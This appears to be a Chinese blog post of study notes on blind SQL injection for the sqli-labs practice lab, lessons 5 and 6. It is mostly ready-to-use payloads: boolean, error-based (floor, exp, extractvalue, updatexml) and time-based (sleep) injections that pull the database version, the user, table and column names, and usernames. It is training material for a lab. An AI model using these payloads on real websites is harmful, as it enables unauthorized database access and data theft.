sqlilabs--Pages1--lesson5-6 盲注

盲注🎃

运行正确只会返回you are in…
不会返回数据库信息
通过报错得到数据库信息

less5-单引号

1.left(database(),1)查看版本号第一位

?id=1and left(version(),1)=5--+

数据库版本是5 会显示you are in
写其他不会显示

2.substr() ascii()

ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101

3. regexp获取users表中的列

?id=1’ and 1=(select 1 from information_schema.columns where
table_name=‘users’ and column_name regexp ‘^username’ limit 0,1)–+

4.ord() mid()获取users表的内容

?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68--+

在这里插入图片描述
username 中的第一行的第一个字符的 ascii,与 68 进行比较, 即为D。而我们从表中得知第一行的数据为 Dumb。

5.报错注入

floor

?id=-1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

exp

?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2, 3--+

extractvalue

 ?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+

在这里插入图片描述

updatexml

?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+

在这里插入图片描述

6. 延时注入

?id=1’and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+

less6-双引号

?id=-1" union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值